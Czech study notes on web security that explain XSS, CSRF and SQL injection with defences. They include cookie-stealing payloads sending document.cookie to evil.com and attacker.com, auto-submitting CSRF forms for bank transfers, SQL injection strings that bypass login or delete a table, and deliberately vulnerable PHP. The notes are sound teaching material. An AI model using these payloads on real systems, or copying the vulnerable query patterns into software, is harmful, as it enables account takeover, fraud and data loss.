Zabezpečení webových aplikací - SQL injection, XSS, CS

XSS

- XSS (Cross-Site Scripting):
  - Útočník vloží škodlivý JavaScript do stránky
  - Když jiný uživatel otevře stránku, škodlivý skript se spustí v jeho prohlížeči
  - Skript může přečíst cookies pomocí document.cookie
  - Útočník získá session cookie a převezme identitu uživatele

Zranitelný kód na serveru

```php
<?php
echo "Ahoj, " . $_GET['name'] . "!";
?>
```

Útočníkův payload

```
http://example.com/?name=<script>
fetch('http://attacker.com/steal?c='
    + document.cookie)
</script>
```

- **Obrana**:
  - atribut HttpOnly zamezuje přístupu z JavaScriptu
  - Validace vstupů
  - Content Security Policy

- **Typy**:
  - **Stored XSS:**
    - Škodlivý kód se trvale uloží na server (do databáze)
    - Spustí se u každého, kdo si daný obsah zobrazí
    - Typické místo výskytu: komentáře, fóra, uživatelské profily, recenze
    - Příklad:

```
Skvělý článek! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
```

1. Server komentář uloží do databáze bez ošetření
2. Kdokoliv si přečte diskusi > skript se spustí v jeho prohlížeči
3. Cookies oběti se odešlou na server útočníka

  - **Reflected XSS:**
    - Útočník pošle vstup na server (v URL parametru, formuláři, nebo jiném požadavku) a server tento vstup bez ošetření vrátí zpět v odpovědi - odrazí ho
    - Prohlížeč oběti pak kód spustí, protože přišel z „důvěryhodného“ serveru
    - Nic se neukládá na server proto se říká také Non-Persistent XSS nebo Type-I XSS
    - **<u>Jak se dostane k oběti?:</u>**
      - Podvržený odkaz v e-mailu nebo chatu
      - Odkaz na jiném webu
      - Speciálně vytvořený formulář na útočníkově stránce
      - Oběť může i jen navštívit škodlivou stránku, která požadavek odešle automaticky
    - Příklad:

```
<!-- Toto je na stránce útočníka evil.com -->
<form action="https://eshop.cz/hledat" method="POST" id="utok">
  <input type="hidden" name="q"
        value="<script>fetch('https://evil.com/steal?c='+document.cookie)</script>">
</form>
<script>
  document.getElementById('utok').submit();  // automaticky se odešle
</script>
```

- Obět navštíví ‚evil.com‘ -> formulář se automaticky odešle na **eshop.cz** -> server vrátí odpověď se škodlivým kódem. Prohlížeč ho spustí

- **DOM Based XSS:**
  - Server vrátí naprosto čistou, bezpečnou odpověď - HTTP odpověď se nemění, ale JavaScript na stránce sám přečte data z nedůvěryhodného zdroje a vloží je do DOM nebezpečným způsobem
  - Problém je na straně clienta - client-side kód se chová neočekávaně
  - **<u>Má vždy dva prvky:</u>**
    - Source (zdroj) = window.localtion.href
    - Sink (propad) = element.innerHTML =
  - **<u>Kód se do DOM dostane takto např.:</u>**
    1. Útočník vloží škodlivý kód do URL
    2. Oběť klikne na odkaz (nebo je přesměrována)
    3. Server vrátí čistou stránku
    4. javaScript na stránce si sám přečte URL z adresy
    5. JavaScript sám vloží obsah z URL do DOM přes nebezpečnou metodu(innerHTML)
    6. Prohlížeč t o interpretuje jako HTML a spustí
  - **<u>Příklad</u>**:

```
var jmeno = params.get('jmeno');
// jmeno = '<img src=x onerror="fetch(\'https://evil.com/steal?c=\'+document.cookie)">'

document.getElementById('pozdrav').innerHTML = 'Vítej, ' + jmeno + '!';
```

JavaScript přečte škodlivý řetězec z URL a vloží ho přes innerHTML

Prohlížeč interpretuje vložený řetězec jako HTML

```
<h1 id="pozdrav">
  Vítej, <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">!
</h1>
```

CSRF

- Útočník přiměje prohlížeč odeslat požadavek na jinou stránku
- Prohlížeč automaticky přidá cookies pro cílovou doménu
- Server myslí, že je to legitimní požadavek uživatele
- **Obrana**:
  - Atribut SameSite zamezuje posílání cookies při cross-site požadavcích
  - CSRF tokeny, kontrola Referer hlavičky
- **CSRF cílí na akce které mění stav na serveru:**
  - Změna e-mailu nebo hesla oběti
  - Provedení platby nebo převodu peněz
  - Změna nastavení účtu
  - Odeslání zprávy jménem oběti
  - Přidání administrátora

Útočníkova stránka

```
<!-- Uživatel je přihlášen na bank.com -->
<img src="https://bank.com/transfer?
    to=attacker&amount=10000" />
```

Obrana pomocí SameSite

```
Set-Cookie: session=xyz;
    SameSite=Strict;
    HttpOnly;
    Secure
```

- **Příklad**:
  - Otevřeš **banka.com**, přihlásíš se -> prohlížeč uloží: session cookie
  - CSRF Útok:
    - Pak klikneš na odkaz v e-mailu a otevřeš **evil.com**. Ta stránka obsahuje:

```
<form action="https://banka.cz/prevod" method="POST" id="utok">
  <input type="hidden" name="na" value="utocnik">
  <input type="hidden" name="castka" value="10000">
</form>
<script>document.getElementById('utok').submit();</script>
```

  - Prohlížeč odešle požadavek na **banka.com**, server zkontroluje cookie -> provedu převod
  - Server neví že přišel požadavek z **evil.com**. Vidí je platnou cookie a validní požadavek.
  - **Problém**: prohlížeč automaticky přikládá cookies ke každému požadavku na danou doménu
- **Jak funguje SameSite?:**
  - Zabrání prohlížeči poslat cookie při cross-site požadavku

SQL injection

- Útočník vloží SQL kód do vstupu aplikace
- Pokud aplikace tento vstup přímo vkládá do SQL dotazu bez ošetření, útočníkův kód změní význam celého dotazu
- **Co útočník může udělat?:**
  - Čtení citlivých dat
  - Obejít autentizace
  - Změna dat
  - Smazání dat
  - Administrace databáze
  - Přístup k souborům
  - Spuštění systémových příkazů
- **Dvě podmínky:**
  - Nedůvěryhodná data vstoupí do aplikace (uživatelský vstup)
  - Tato data se použijí k dynamickému sestavení SQL dotazu
  - (Vývojář sestavuje SQL dotaz skládáním řetězců a vkládá do něj vstup od uživatele přímo bez ošetření)
- **Obrana**:
  - **Parametrizované dotazy:**
    - Databáze oddělí příkaz od dat. Vstup od uživatele je vždy zpracován jen jako data, nikdy jako SQL kód

Příklad v Pythonu s MySQL

```
cursor.execute("SELECT * FROM items WHERE itemname = %s", (vstup,))
vysledky = cursor.fetchall()
```

Příklad v PHP

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$user, $pass]);
```

- **Příklady**:
  - **Obejití přihlášení**
    - **Aplikace:**

```
$query = "SELECT * FROM users
        WHERE username = '" . $user . "'
        AND password = '" . $pass . "'";
```

    - **Normální přihlášení:**

```
SELECT * FROM users WHERE username = 'admin' AND password = 'tajne123'
```

    - **Útok:**

```
SELECT * FROM users WHERE username = 'admin' --' AND password = 'cokoliv'
```

      - Komentář — odřízne celou kontrolu hesla
      - Útočník je přihlášen jako admin
  - Smazání tabulky:
    - Aplikace = e-shop, kde uživatel hledá produkty podle jména

```
$query = "SELECT * FROM items WHERE itemname = '" . $vstup . "'";
```

    - Útočník zadá do vyhledávacího pole:

```
boty'; DELETE FROM items; --
```

    - Aplikace to složí do dotazu

```
SELECT * FROM items WHERE itemname = 'boty'; DELETE FROM items; --'
```